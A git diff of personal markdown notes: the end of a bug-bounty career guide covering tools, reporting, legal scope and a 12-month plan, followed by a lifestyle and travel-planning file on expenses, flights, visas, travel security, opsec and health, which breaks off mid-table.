[httpx](https://github.com/projectdiscovery/httpx) alive probe + fingerprint +- [nuclei](https://github.com/projectdiscovery/nuclei) templated scanning (essential) +- [katana](https://github.com/projectdiscovery/katana), [gospider](https://github.com/jaeles-project/gospider) crawling +- [gau](https://github.com/lc/gau), [waybackurls](https://github.com/tomnomnom/waybackurls) historical URL discovery +- [ffuf](https://github.com/ffuf/ffuf) content + parameter fuzzing +- [dnsx](https://github.com/projectdiscovery/dnsx), [dalfox](https://github.com/hahwul/dalfox), [kxss](https://github.com/Emoe/kxss) DNS / XSS pipeline pieces + +### Proxies + +- [Burp Suite Professional](https://portswigger.net/burp/pro) $475/yr, still the industry standard. Required for any program that uses session replay. +- [Caido](https://caido.io/) fast-growing Rust-based competitor with much nicer UX; free tier covers most work. Pair with Burp; do not replace yet. + +### Smart contracts + +- [Foundry](https://book.getfoundry.sh/) toolchain (forge / cast / anvil / chisel). Default in 2026. +- [Slither](https://github.com/crytic/slither) static analysis +- [Mythril](https://github.com/Consensys/mythril), [Echidna](https://github.com/crytic/echidna), [Halmos](https://github.com/a16z/halmos) symbolic / fuzz / SMT analysis +- [Heimdall](https://github.com/Jon-Becker/heimdall-rs) decompiler, Rust-friendly + +### Mobile + +- [Frida](https://frida.re/), [objection](https://github.com/sensepost/objection), [jadx](https://github.com/skylot/jadx) Android +- [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) automated triage +- iOS: jailbroken device or [Corellium](https://www.corellium.com/) virtualisation + +### Cloud + +- [ScoutSuite](https://github.com/nccgroup/ScoutSuite), [Prowler](https://github.com/prowler-cloud/prowler) multi-cloud posture +- [Pacu](https://github.com/RhinoSecurityLabs/pacu) AWS exploitation +- [ROADtools](https://github.com/dirkjanm/ROADtools), [TokenTactics](https://github.com/rvrsh3ll/TokenTactics) Entra / M365 + +### AI-product testing + +- [Garak](https://github.com/leondz/garak), [PyRIT](https://github.com/Azure/PyRIT), [promptfoo](https://github.com/promptfoo/promptfoo) LLM red-team frameworks +- [Burp AI extensions](https://portswigger.net/bappstore) request tampering for LLM endpoints +- Custom Python harnesses for API replay; you already have the Python skills + +### Pipelines + +- [Axiom](https://github.com/pry0cc/axiom) distribute recon to spot VMs +- [Trickest](https://trickest.com/) visual recon workflows, generous free tier + +## 7. Reporting and Comms + +Quality dominates quantity. A high-signal hunter sends fewer than five reports a week; a low-signal hunter sends fifty. Triagers remember both. + +A great report has: +1. **One-line summary** (severity + asset + bug class) +2. **CVSS v3.1 vector** (or the platform's own VRT / severity mapping) +3. **Steps to reproduce** minimal, copy-pasteable, no marketing +4. **Proof of concept** curl-able, or a short video; strip credentials +5. **Impact** what an attacker actually achieves, with realistic preconditions +6. **Recommended fix** short, does not say "use a WAF" +7. **References** OWASP, CWE, your own prior writeups + +Severity disputes: programs use CVSS but most weight business impact. Lead with impact and the score follows. Bugcrowd uses its [VRT](https://bugcrowd.com/vulnerability-rating-taxonomy); learn the categories before submitting. + +Triage SLAs (approx): +- HackerOne managed: 1-3 business days first response +- Bugcrowd managed: 1-5 business days +- Intigriti: 1-2 days +- Immunefi: 1-7 days (a Slack/Discord war room appears for criticals) +- Self-managed programs: anywhere from hours to weeks + +Duplicates are the dominant negative outcome for new hunters. Two mitigations: pick low-traffic asset classes, and report fast (within hours of discovery). + +Disclosure-agreement risk is real: some programs change scope or rewards retroactively. Screenshot the policy on submission and save the rules / scope page. + +## 8. Reputation and Status Building + +- **Leaderboards** [hackerone.com/leaderboard](https://hackerone.com/leaderboard), Bugcrowd's MVP rankings, Immunefi's [Hall of Fame](https://immunefi.com/leaderboard/). Top-100 is realistic in 2-3 years for a strong hunter. Top-10 is a full-time job. +- **Live Hacking Events (LHEs)** H1's flagship invite-only on-site events (often in Las Vegas, Amsterdam, Tokyo) with six-figure event purses, two-day hack windows, plus the only place you will meet the other hunters. Bugcrowd runs equivalents. Earning an LHE invite is the first major status step. +- **Public disclosure** every report H1/Bugcrowd resolves can be requested for public disclosure. A polished writeup on your own site (krisyotam.com slot looks ideal) becomes recruiting bait. +- **Twitter/X + Bluesky + Mastodon** the BB community is still mostly on X. Following and posting concise findings is how new programs notice you. +- **Speaking** DEF CON AI Village, BSides anywhere, [LASCON](https://lascon.org/), Hexacon, Insomni'hack, OffensiveCon. Talks get you onto private programs. + +## 9. Tax and Business Setup (US) + +Cross-link: see [./pentest.md](./pentest.md) business-entity section for the longer treatment shared with consulting income. + +- BB income is 1099-NEC (or 1099-MISC for older platforms). PayPal/Coinbase payouts still generate 1099-Ks at $600+. +- Self-employment tax = 15.3% on top of income tax (Social Security 12.4% to the cap + Medicare 2.9%). +- LLC pass-through is fine until roughly $60-100k of profit; at that point an **S-corp election** (form 2553) lets you split into reasonable salary + distributions and save roughly 7-8% in SE tax. Get a CPA; the worst-case downside is IRS reclassification. +- Quarterly estimated taxes due Apr 15, Jun 15, Sep 15, Jan 15. Use IRS Direct Pay. +- Payment methods by platform: HackerOne (PayPal, Coinbase, Hyperwallet bank, Payoneer), Bugcrowd (PayPal, Payoneer, US bank), Intigriti (SEPA, Wise), YesWeHack (SEPA, bank wire), Immunefi (USDC on-chain or bank, KYC above thresholds), Synack (1099 + bank). Crypto payouts have their own basis-tracking burden; log every payout date and USD value at receipt. + +## 10. Risk and Legal + +- **DOJ 2022 policy update** on CFAA [press release](https://www.justice.gov/opa/pr/department-justice-announces-new-policy-good-faith-security-research) good-faith research is no longer prosecuted under CFAA. This is a policy, not law; state laws still apply. +- **Always verify scope on the day you test.** Programs edit scope quietly. +- **DMCA section 1201** still bites on circumvention of access controls in research that is not covered by the [security-research exemption](https://www.copyright.gov/1201/) (renewed every three years). Mobile / firmware reverse-engineering lives here; check the current exemption text. +- **Out-of-scope discoveries** if you find something on a target's infra that is not covered, the right play is coordinated disclosure through their `security.txt` or the [CISA CVD process](https://www.cisa.gov/coordinated-vulnerability-disclosure-process), not a bounty submission and not a tweet. +- **Never test production without explicit authorization.** A `security.txt` pointing to HackerOne is not authorization for adjacent infra. Read every program's "Targets in Scope" list and stop at the boundary. +- **Safe Harbor language** in program rules: read it. Real safe harbor names CFAA + DMCA + state computer-crime statutes. Vague "we will not sue" language is worth less. +- **VPN + dedicated machine.** The BlackArch laptop already does the second; pin a paid VPN (Mullvad / IVPN) for the first. Some programs require US-only or geo-restricted source IPs; respect them or your reports get tossed. + +## 11. Concrete 12-Month Plan + +A specific schedule that fits an OSCP-track schedule in parallel (see [pentest.md](./pentest.md) for the cert side). + +### Months 1-3 — Foundation + +- Finish [PortSwigger Web Security Academy](https://portswigger.net/web-security) start to finish (the apprentice + practitioner labs). It is free and it is the canonical curriculum. +- Set up the BlackArch laptop's recon stack (section 6) in `~/ops/`. Write a small shell wrapper that takes a program slug and scaffolds `~/ops/<program>/{scope,recon,notes,reports}`. +- Pick **two** public programs on Bugcrowd / HackerOne with broad scope and high signal-to-noise, usually big SaaS vendors with subdomain wildcards. Submit ten reports. Expect 6-8 dupes and 1-2 paid lows. This is normal. +- Read [The Web Application Hacker's Handbook 2e](https://portswigger.net/web-security/wahh) chapters 4, 7, 9, 12, 13 in parallel with the labs. + +### Months 4-6 — Specialize + +You have two strong lanes given your background. + +1. **AI/LLM applied AppSec** OpenAI (Bugcrowd), Anthropic (H1), Microsoft Copilot, Google AI VRP. Read OWASP LLM Top 10 + ATLAS, then hunt the AppSec surface (auth, IDOR, SSRF in tools, RAG leakage) on these targets. This compounds with your math/Python. +2. **Smart-contract auditing on Immunefi + Sherlock** work through [Cyfrin Updraft](https://updraft.cyfrin.io/) and [Secureum bootcamp materials](https://www.secureum.xyz/). Do one Code4rena or Sherlock contest a month even if you score zero, the post-mortem reading is the real curriculum. This is the higher-payout lane. + +Pick one. Doing both halfway is worse than doing one fully. + +### Months 7-9 — Depth + relationships + +- Target one program deeply. Build a recon-and-monitoring pipeline for it: weekly subdomain diff, JS-file diff, new-route diff. The 80/20 of finding criticals is being on the new attack surface first. +- Publish two writeups on krisyotam.com (cross-link from this doc). One technical, one methodology. +- Get on the program's Discord / Slack if they have one. Talk to triagers, humanise yourself. This becomes invite paths. +- Submit to the [DEF CON AI Village CFP](https://aivillage.org/) or a BSides talk. Even a rejected CFP gets read. + +### Months 10-12 — Scale or invite + +- If AI/LLM lane: aim for an Anthropic or Microsoft Copilot invite-only / private scope. Anthropic in particular has invited steady reporters into expanded scope. +- If smart-contracts lane: aim for a top-3 finish in one Sherlock or Code4rena contest, or land a [Cantina](https://cantina.xyz/) solo audit invite. +- Either way: apply to a Live Hacking Event. HackerOne LHE applications happen rolling. +- Honest 12-month income target for a half-time hunter on this plan: **$15k-$50k** all-in. Hitting top-1% in year one is a fantasy; year three is realistic. + +--- + +## Quick cross-links + +- Cert path, OSCP/OSWE/OSEP, Synack vetting, salary data, formal pentest career: [./pentest.md](./pentest.md) +- Open source as income (sponsors, grants, bounties on OSS code you wrote): [./open-source.md](./open-source.md) +- Teaching / courses / writing: [./teaching.md](./teaching.md), [./writing.md](./writing.md) + +## References + +- HackerOne 7th Annual Hacker-Powered Security Report: [hackerone.com/resources/reporting](https://www.hackerone.com/resources/reporting/the-7th-annual-hacker-powered-security-report) +- Bugcrowd Inside the Mind of a Hacker: [bugcrowd.com/resources/reports](https://www.bugcrowd.com/resources/reports/inside-the-mind-of-a-hacker/) +- Immunefi research + leaderboard: [immunefi.com/research](https://immunefi.com/research/), [immunefi.com/leaderboard](https://immunefi.com/leaderboard/) +- OWASP LLM Top 10: [genai.owasp.org/llm-top-10](https://genai.owasp.org/llm-top-10/) +- MITRE ATLAS: [atlas.mitre.org](https://atlas.mitre.org/) +- DOJ CFAA policy update 2022: [justice.gov/opa/pr](https://www.justice.gov/opa/pr/department-justice-announces-new-policy-good-faith-security-research) +- DMCA section 1201 exemptions: [copyright.gov/1201](https://www.copyright.gov/1201/) +- CISA Coordinated Vulnerability Disclosure: [cisa.gov/coordinated-vulnerability-disclosure-process](https://www.cisa.gov/coordinated-vulnerability-disclosure-process) +- PortSwigger Web Security Academy: [portswigger.net/web-security](https://portswigger.net/web-security) +- Cyfrin Updraft (smart contract security): [updraft.cyfrin.io](https://updraft.cyfrin.io/) diff --git a/doc/income/donations.md b/doc/income/donations.md new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/doc/income/lifestyle.md b/doc/income/lifestyle.md new file mode 100644 index 0000000000000000000000000000000000000000..d4d01b8373da43e20c5ffa96ed7630050ffd3e3f --- /dev/null +++ b/doc/income/lifestyle.md @@ -0,0 +1,746 @@ +# Lifestyle Engineering: Floor Expenses, Maximum Optionality + +Target window: 2026-05-20 through 2029-05-20. Goal: floor recurring expenses to $1,500-$2,500/mo all-in, paired with a $250k gross income target by year three. The thesis is simple: at that ratio, the savings rate dominates the strategy. The math, not the income, is the real lever. + +--- + +## 1. The Economics: Why This Matters + +Three honest numbers. Assume $250k gross from year three onward, ~22% effective federal tax (FEIE in play where possible, S-corp election on 1099 income), and 7% real return on invested savings. + +### Net worth curve at three expense tiers + +Net of federal tax, after FEIE and reasonable retirement shelters, take-home lands at roughly $185k on $250k gross for a non-resident or low-tax-state citizen. Annual surplus = take-home minus living expenses. Compound at 7% real. + +| Year | $1,500/mo ($18k/yr) | $3,000/mo ($36k/yr) | $6,000/mo ($72k/yr) | +|------|---------------------|---------------------|---------------------| +| 2027 (Y1, $60k income, ~$48k take-home) | $30k saved | $12k saved | -$24k (deficit) | +| 2028 (Y2, $130k income, ~$103k take-home) | $116k cumulative | $80k | $25k | +| 2029 (Y3, $250k income, ~$185k take-home) | $295k cumulative | $232k | $138k | +| 2030 | $493k | $383k | $214k | +| 2031 | $704k | $542k | $292k | +| 2032 (5yr from now) | $930k | $710k | $371k | + +The $1,500/mo tier hits $1M in year six. The $6,000/mo tier needs over a decade to get there with the same income. That spread is the entire point of this document. + +**Tax planning matters more than expense floor.** Moving from a 9% state income tax state to 0% on $250k of income is $22,500/yr, the same as removing $1,875/mo from the spend column. Pair the two and the curve bends faster. + +--- + +## 2. Travel + +### Flight booking stack +- **Google Flights** (https://www.google.com/flights): baseline, calendar view, price tracking, explore map. +- **ITA Matrix** (https://matrix.itasoftware.com): the engine under Google Flights, exposes routing codes, multi-city construction, fare bucket inspection. Power-user tool. +- **Kiwi.com** (https://www.kiwi.com): finds combinations no airline alliance will sell you, including separate-ticket itineraries. Kiwi Guarantee is real but pricey. +- **Skiplagged** (https://skiplagged.com): hidden-city ticketing. Works, violates airline contracts, only do it one-way with carry-on. +- **Hopper** (https://hopper.com): mobile-first prediction. Useful as a second opinion, not as a buyer. +- **Going** (formerly Scott's Cheap Flights, https://www.going.com): mistake-fare and deep-discount alerts, $49-$199/yr. One $700 transatlantic round trip pays for the whole subscription. +- **Point.me** (https://point.me, $129/yr): the only good award-search tool. Searches partner availability across all major programs. +- **Seats.aero** (https://seats.aero, $7-$10/mo): faster, broader award search than point.me for power users. +- **AwardWallet** (https://awardwallet.com): tracks miles across all programs. + +The AI-era of fare search is shifting fast. Treat search tool quality as something to re-check every six months. + +### Frequent-flier alliance: pick one, stack hard + +For a US-based traveler, the three alliances roughly map to: + +| Alliance | US anchor | Strength | Weakness | +|----------|-----------|----------|----------| +| **Star Alliance** | United MileagePlus | Widest network (28 carriers), Lufthansa/ANA/Singapore for premium award space | United mileage devaluations frequent | +| **OneWorld** | American AAdvantage, Alaska Mileage Plan | Best for South America (LATAM), Asia via JAL/Cathay, partner with British Airways and Qatar | American often has worst award availability | +| **SkyTeam** | Delta SkyMiles | Excellent product (Delta One), partner with Korean/Air France/KLM | SkyMiles has no published award chart, dynamic pricing | + +Recommendation for Kris: **OneWorld via Alaska Mileage Plan**. Alaska partners with American, Cathay, JAL, Qatar, British Airways, Iberia, and more without being inside American's dynamic-pricing mess. Cathay business to Asia for 50k miles one-way is still a thing. Backup: United MileagePlus for the West Coast departures and the Star Alliance partner sprawl. + +Pick one, run all credit card spend through it, and don't dilute across three programs. + +### Credit card travel hacking (US citizen, 20s) + +The realistic stack for someone with a 750+ FICO and a $60-250k income: + +| Card | Annual fee | Signup bonus (typical 2026) | Key benefit | +|------|------------|------------------------------|-------------| +| **Chase Sapphire Preferred** | $95 | 60-80k UR | Entry-level, 1.25x redemption on travel via portal | +| **Chase Sapphire Reserve** | $795 | 100k UR | Priority Pass, $300 travel credit, points value | +| **Amex Platinum** | $695 | 80-150k MR | Centurion lounges, $200 hotel credit, $200 airline credit (gameable) | +| **Amex Gold** | $325 | 60-90k MR | 4x dining and groceries, $120 Uber credit | +| **Capital One Venture X** | $395 | 75k+ miles | Priority Pass, $300 Cap One Travel, anniversary 10k miles | +| **Chase Ink Business Preferred** | $95 | 90-120k UR | Best business card for spend bonus, requires LLC/sole prop | +| **Bilt Mastercard** | $0 | Variable | Pays rent in points, no annual fee, transfers to most programs | + +Realistic extraction: $1,500-$3,000/yr in net value after fees, assuming you rotate signup bonuses every 18-24 months and meet minimum spend organically. The honest time cost is 3-5 hours/month if you optimize, less if you set and forget. Sources: r/churning (https://www.reddit.com/r/churning), Doctor of Credit (https://doctorofcredit.com), Frequent Miler (https://frequentmiler.com). + +Critical rule: **Chase 5/24**. Chase will deny you if you've opened 5+ personal cards in 24 months across any issuer. Open Chase cards first, then Amex, then everything else. + +### US passport: visa-on-arrival / visa-free targets + +Henley Passport Index 2026 puts the US around 180+ destinations visa-free or on-arrival. For the geographies Kris cares about: + +| Country | US passport access | Stay | Notes | +|---------|---------------------|------|-------| +| Chile | Visa-free | 90 days | Reciprocity fee abolished | +| Japan | Visa-free | 90 days | Tourist; LTR available | +| South Korea | K-ETA pre-approval | 90 days | https://www.k-eta.go.kr | +| Singapore | Visa-free | 90 days | | +| Taiwan | Visa-free | 90 days | | +| Thailand | Visa exemption | 60 days (extended in 2024) | LTR and DTV available | +| Vietnam | E-visa | 90 days (multi-entry as of 2023) | https://evisa.xuatnhapcanh.gov.vn | +| Indonesia (Bali) | Visa-on-arrival | 30+30 days | B211A long-stay available | +| Malaysia | Visa-free | 90 days | MM2H for longer | +| Georgia | Visa-free | 365 days | Best in class for nomads | +| Armenia | Visa-free | 180 days | | +| Turkey | E-visa | 90 days in 180 | https://www.evisa.gov.tr | +| UAE | Visa-on-arrival | 30 days, extendable | DNV available | +| Mexico | FMM tourist | 180 days (officer discretion) | Temporary Resident easy | +| Colombia | Visa-free | 90+90 days | DNV available | +| Argentina | Visa-free | 90 days | Reciprocity fee paused | +| Brazil | E-visa required | 90 days | DNV available | +| Portugal/Spain/Schengen | Visa-free | 90 in 180 | Watch the Schengen clock | + +Schengen 90/180 is the single most important calendar rule for European travel. Track with https://www.schengencalculator.com. + +### Baggage philosophy: one bag, no checked + +The r/OneBag community (https://www.reddit.com/r/onebag) has converged on a few defensible packs. The point: never check a bag, never wait at carousel, lose nothing, fly any airline, walk from any station, no logistics tax. + +| Bag | Capacity | Price | Best for | +|-----|----------|-------|----------| +| **Tom Bihn Synik 30** | 30L | $349 | Organization fiends, lifetime build | +| **Goruck GR1** | 21-26L | $325-$395 | Minimalists, indestructible, ugly enough to deter theft | +| **Aer Travel Pack 3 Small** | 28L | $279 | Best clamshell, sleek for cities | +| **Peak Design Travel 30L** | 30L | $300 | Photographers, expandable | +| **Cotopaxi Allpa 35L** | 35L | $200 | Budget option, durable | + +Packing cubes: Eagle Creek Pack-It Specter or Peak Design. Three cubes (tops, bottoms, underwear) ends the daily packing decision. Compression cubes save 30% volume. + +Recommended kit: 7 shirts, 3 bottoms, 7 underwear, 7 socks, packable down jacket, packable rain shell, one pair of shoes plus sandals, toiletries in silicone bottles, electronics pouch. That's about 18-22 lbs, fits 26L easily. + +### Sleep en route +- **Jet lag protocol**: start shifting sleep by 30 min/day three days before flight in the direction of destination. On-flight: sleep on destination clock, not departure clock. +- **Melatonin timing**: 0.3-0.5 mg (not the 3-5 mg sold OTC), taken at destination bedtime, every night for the first 4-5 days. Higher doses cause grogginess and don't help phase shifting. +- **Fasting trick**: the Argonne anti-jet-lag diet (16h fast, eat breakfast at destination time on arrival) has weak evidence but anecdotally works. Easier: just eat on destination schedule the day you arrive, regardless of hunger. +- **Light exposure**: bright light on arrival morning, dim light evening. The single most powerful zeitgeber. + +### Long-haul economy survival kit +- **Headphones**: Soundcore Q45 ($80) or Soundcore Space Q45, around 90% of the Sony XM5 experience at 20% of the price. AirPods Pro 2 ($249) if iPhone integration matters. +- **Neck pillow**: Trtl Pillow ($35), not the inflatable horseshoe garbage. +- **Eye mask**: Manta Sleep ($35), velcro adjustable, zero light leak. +- **Compression socks**: prevents DVT, available everywhere for $15. +- **Wired backup earbuds**: airlines still hand out analog jacks, Bluetooth runs out of battery. + +### Pricing tactics +- **App pricing vs in-person**: ride-hails (Uber, Grab, Bolt) often cheaper than haggled taxis. Local food delivery apps often cheaper than walking into the restaurant in tourist areas. +- **Bargaining**: SE Asia and Latin America markets, yes. Don't bargain in Japan, Korea, or Western Europe; it is rude and pointless. +- **Currency tricks**: always pay in local currency, never accept "dynamic currency conversion" at terminals. The vendor's exchange rate is always worse than your card's. + +--- + +## 3. Security + +### Physical security + +#### Country risk +- **OSAC** (https://www.osac.gov) publishes Country Security Reports for free, by US embassy and consulate. The single best public-source threat read. +- **US State Department Travel Advisories** (https://travel.state.gov): Level 1-4. Level 3-4 means insurance gets expensive and embassies will roll their eyes. +- **Specific 2026 cautions for US passport holders**: + - **Russia and Belarus**: do not enter. Wrongful detention risk has been state-coded. + - **China (mainland)**: exit ban risk for anyone with mainland business ties, dual citizenship ambiguity, or social media history. PRC has used exit bans against US citizens repeatedly post-2018. + - **Iran, Venezuela, Myanmar, North Korea**: do not enter. + - **Parts of Mexico**: state-by-state. CDMX, Yucatan, Oaxaca, Querétaro are fine. Sinaloa, Tamaulipas, Michoacán are not. + - **Haiti, Sudan, Libya, Yemen**: don't. + +#### Hotel / Airbnb hardening +Threat model is opportunistic theft and crime of opportunity, not nation-state surveillance. So: +- **Door wedge alarm**: $10 on Amazon, slides under door, screams if forced. Best single item. +- **Peephole cover**: $5 sticker, prevents external optics. Most hotel doors leak through the peephole. +- **Portable door lock** (Addalock, $25): adds a deadbolt to any inward-opening door. +- **Faraday pouch** for phones during sensitive meetings, $20. + +#### EDC and weapons +- **Knife laws**: UK has the strictest, anything locking or over 3 inches is a problem. Japan: blade over 6cm is a crime. Most of Europe: 8cm or under, non-locking, generally OK as a tool. +- **Pepper spray**: legal in US (most states), banned in UK, Belgium, Denmark, Hungary, Norway, Poland; legal in some form in Canada (dog-spray loophole), Australia, Germany (animal-defense), Italy (under 20ml). +- **Legal alternatives**: tactical pen (Schrade SCPEN3, $15), monkey-fist keychain (most places), striking flashlight (Olight, Fenix). +- **Kubotan or Yawara**: cheap, useful, legal almost everywhere as a "key holder." + +#### Cash strategy +- **Money belt** (Eagle Creek RFID, $25) holds passport, emergency $500-$1000 cash, backup card. Never your daily kit. +- **Decoy wallet**: cheap bifold with $30-$50 cash and an expired card. Hand this over in a mugging. +- **Customs declaration**: $10,000 USD or equivalent into/out of the US must be declared (FinCEN 105). Many countries: €10,000. Penalty for non-declaration: seizure plus criminal liability. + +#### Travel insurance with extraction +| Provider | Coverage | Annual cost | Notes | +|----------|----------|-------------|-------| +| **World Nomads** | Standard travel + medical | $400-$900 | https://www.worldnomads.com, decent claims | +| **IMG Patriot Platinum** | Medical heavy | $500-$1200 | https://www.imglobal.com | +| **GeoBlue Trekker** | Medical, Blue Cross network abroad | $250-$600 | https://www.geobluetravelinsurance.com | +| **Global Rescue** | **Actual extraction**, medevac, security evac | $660-$1295/yr | https://www.globalrescue.com — separate from health insurance, pairs with it | +| **SafetyWing Nomad** | Health + travel | $504/yr ($42/mo, under 40) | https://safetywing.com | +| **Genki** | EU-style, no US coverage | €72/mo | https://genki.world | + +Stack: SafetyWing or GeoBlue for routine + Global Rescue for the "get me out of here" case. About $1200/yr combined. + +#### Embassy registration +**STEP program** (https://step.state.gov): free, US-only, registers your trip with the nearest embassy. They'll contact you in a crisis (earthquake, coup, mass-casualty event) and your family can reach you through them. Takes 5 minutes per trip. Just do it. + +### Digital / opsec + +#### Threat model: be honest +- **Nation-state**: if you're targeted by NSA / FSB / MSS, no consumer tooling saves you. Don't engineer for this unless you actually have a reason to. +- **Corporate / law enforcement**: realistic. VPN + encrypted comms + device hygiene defeats most. +- **Script kiddie / hotel WiFi snooping**: trivial. HTTPS-everywhere + VPN + no cleartext credentials = done. +- **Border / customs**: device search is the realistic threat. Plan for it. + +#### Travel device hygiene +- **Dedicated travel laptop**: refurb ThinkPad X1 Carbon ($400-$700, Lenovo Outlet or eBay) or M1/M2 MacBook Air ($600-$800 refurb). Fresh OS, no sensitive data, no SSH keys to your home infra, no client work. Use Tailscale to reach STARGATE for anything sensitive. +- **Primary kit stays at home / on STARGATE**: workstation, archive, keys. +- **Full-disk encryption on**: LUKS (Linux), FileVault (Mac). Power off, not sleep, before crossing borders. Cold-boot attacks are real but rare. +- **CBP guidance**: https://www.cbp.gov/travel/cbp-search-authority. US citizens cannot be denied entry for refusing to unlock, but can have devices seized for forensic imaging (typically 5-30 days). +- **EFF border guide**: https://www.eff.org/wp/digital-privacy-us-border-2017. Old but still the canonical reference. + +#### Crypto across borders +- Never carry hot wallet seed phrases in plaintext, on paper, or in any document on your devices. +- Use a passphrase (BIP39 25th word) so the seed alone is useless without the passphrase you carry mentally. +- Cold-storage seed split: SLIP-39 or Shamir Secret Sharing across two trusted locations. +- Hardware wallets in checked luggage are fine because they're useless without the seed. + +#### VPN strategy +| Provider | Cost | Jurisdiction | Notes | +|----------|------|--------------|-------| +| **Mullvad** | €5/mo flat | Sweden (14-Eyes member, but doesn't log) | Account = 16-digit number, no email needed. Best privacy reputation. | +| **ProtonVPN** | $4-$10/mo | Switzerland | Excellent, ties to ProtonMail account | +| **iVPN** | $6/mo | Gibraltar | Similar privacy posture to Mullvad | +| **Self-hosted WireGuard on STARGATE** | $0 (you own it) | Wherever STARGATE lives | Doesn't anonymize you to outside observers, but encrypts the path | +| **Tailscale exit node on STARGATE** | Free (Tailscale plan) | US (your house) | Makes you appear US-based, useful for streaming, banking, IRS, brokerage | + +Sweden being technically 14-Eyes-adjacent doesn't disqualify Mullvad in practice. Mullvad has been audited, has no-logs verified by raids and court orders, and accepts cash by mail. For maximum opsec from a non-14-Eyes provider, iVPN (Gibraltar) is the cleanest. + +#### Yubikey hygiene +- **Two Yubikeys minimum**: one daily, one in a secure location (safe at home base). Add a third for travel kit if budget allows. +- **YubiKey 5C NFC** ($55): the right model for most work. +- **Pair to every primary account**: GitHub, Google, Cloudflare, Mercury, Schwab, Fidelity, Bitwarden/1Password, Proton, all of them. +- **Backup codes printed and stored separately** in case both keys die. + +#### Communications +- **Signal** (https://signal.org): always-on default messenger. Real names use real phone numbers, which leaks metadata. Use Signal usernames (rolled out 2024) for non-trusted contacts. +- **SimpleX** (https://simplex.chat): no phone number, no identifier. Higher OPSEC, smaller network. +- **Briar** (https://briarproject.org): peer-to-peer, no servers, works offline over Bluetooth/WiFi. For protest, conflict, or full offline. +- **Wire / Threema**: secondary options. Threema is paid, Swiss, no phone number. + +#### Email +- **ProtonMail** (https://proton.me): Swiss, end-to-end with other ProtonMail users, custom domain support. Bridge for IMAP integration. +- **Tutanota** (https://tutanota.com): German, full E2E, less polished. Important: Germany IS 14-Eyes. For maximum jurisdiction filter, ProtonMail > Tutanota. +- Self-hosted email: Stalwart (https://stalw.art) or Mailcow on STARGATE. Doable, painful, deliverability headaches. + +#### Password manager +- **Vaultwarden** (https://github.com/dani-garcia/vaultwarden): self-hosted Bitwarden-compatible, runs on STARGATE in a single container. Best free option. +- **Bitwarden Premium** ($10/yr): hosted, fine. +- **1Password Family** ($60/yr): the polished option. Travel mode actually removes vaults from devices on demand. + +#### SIM strategy +- **eSIM first** wherever supported. Burner-style eSIMs (Airalo, Holafly) are harder for an opportunistic observer to clone. Physical SIM swapping at a kiosk leaves more trail. +- **Use a "burner" SIM number for hotel WiFi captive portals**, not your primary line. + +--- + +### Health + +#### International medical insurance +| Plan | Cost (under 40) | Coverage | Best for | +|------|-----------------|----------|----------| +| **SafetyWing Nomad** | $42/mo | $250k lifetime, includes home country | Nomads on a budget | +| **IMG Global Medical Insurance** | $80-$150/mo | Up to $8M | Long-term expats | +| **Cigna Global** | $200-$400/mo | Comprehensive | Wants a "real" insurance experience abroad | +| **GeoBlue Xplorer** | $150-$300/mo | Blue Cross-affiliated network worldwide | US citizens who want US-style coverage abroad | + +Most digital-nomad insurance is medical-only and lousy for chronic conditions (excludes pre-existing, low maternity coverage). Read the fine print. + +#### Vaccinations +- **Yellow fever**: required for some African and South American countries, single dose lifelong. Get the ICVP certificate. +- **Typhoid**: oral or injection, recommended for SE Asia, Africa, parts of Latin America. +- **Hepatitis A/B**: 2-3 doses, lifelong. Just do it. +- **Rabies pre-exposure**: 3 doses, $800-$1200 cash. Worth it if going truly rural in Asia, Africa, or for cave biology / animal handling. +- **Japanese encephalitis**: rural Asia, monsoon season. +- **Cholera**: parts of Africa. +- **CDC Travel page**: https://wwwnc.cdc.gov/travel. + +#### Pharmacies abroad +Most of Mexico, Thailand, Vietnam, Indonesia, Philippines, parts of Eastern Europe sell antibiotics, antifungals, and many other prescription-in-US drugs over the counter. Ethics aside, this is well-documented and used by US expats routinely. Do not self-prescribe broad-spectrum antibiotics; resistance and microbiome damage are real. For chronic-medication refills, prices are 10-30% of US pharmacy retail. + +--- + +## 4. Multi-country Movement + +### Schengen 90/180 +The single hardest European constraint. You can stay in the Schengen Area a maximum of 90 days within any rolling 180. Once you hit 90, you must leave for 90 before returning. Plan accordingly. UK, Ireland, Albania, North Macedonia, Romania, Bulgaria (some still being absorbed), Georgia, Turkey, Cyprus, Croatia (Schengen as of 2023) are the "step out" options. + +Calculator: https://www.schengencalculator.com. + +### Digital Nomad Visa landscape, 2026 + +Verify per-country pages: rules change quarterly. + +| Country | Visa name | Income req (USD equiv) | Duration | Fee | Tax | Outside 14-Eyes? | +|---------|-----------|-------------------------|----------|-----|-----|--------------------| +| **Portugal** | D8 Digital Nomad | $3,500/mo (4x min wage) | 1yr + renew, path to residency | €90 | NHR repealed 2024, IFICI replacement narrower | No (14-E) | +| **Spain** | DNV | $2,650/mo | 1yr + 3yr | €80 | 24% flat for first 4 years | No (14-E) | +| **Greece** | DNV | $3,500/mo | 1yr | €75 | Standard | No (14-E) | +| **Italy** | DNV (active 2024) | €28k/yr | 1yr | €116 | Standard | No (14-E) | +| **Croatia** | Temporary stay (digital nomad) | €2,500/mo | 1yr (cannot renew, must leave 6mo) | €60 | Not taxed | No | +| **Estonia** | DNV + e-Residency | €4,500/mo | 1yr | €100 | If <183 days, none | **NOT in 14-Eyes** | +| **Czech Republic** | Zivno freelance | $5,500 in savings | 1yr | $200 | 15-23% | No (14-E adjacent) | +| **Hungary** | White Card | €3,000/mo | 1yr + 1yr | €110 | Standard | Yes (NOT in 14-E) | +| **Malta** | Nomad Residence | €3,500/mo | 1yr + 3yr | €300 | 10% on foreign income | No (14-E adjacent) | +| **Cyprus** | DNV | €3,500/mo | 1yr + 2yr | €70 | Non-dom 60-day rule | No (14-E adjacent) | +| **Georgia** | Remotely from Georgia (visa-free) | None, just enter | 365 days visa-free | $0 | 1% for IE small business | **Yes** | +| **Costa Rica** | Rentista / DNV | $3,000/mo | 1yr + 1yr | $250 | Foreign income exempt | **Yes** | +| **Panama** | Friendly Nations | Job offer or $200k investment | Permanent residency | $2,500+ | Foreign income exempt | **Yes** | +| **Colombia** | M Visa (digital nomad) | $684/mo | 2yr | $230 | Foreign income exempt if <183 days | **Yes** | +| **Argentina** | DNV | Variable | 180 days + renew | $200 | Foreign income exempt for non-residents | **Yes** | +| **Brazil** | 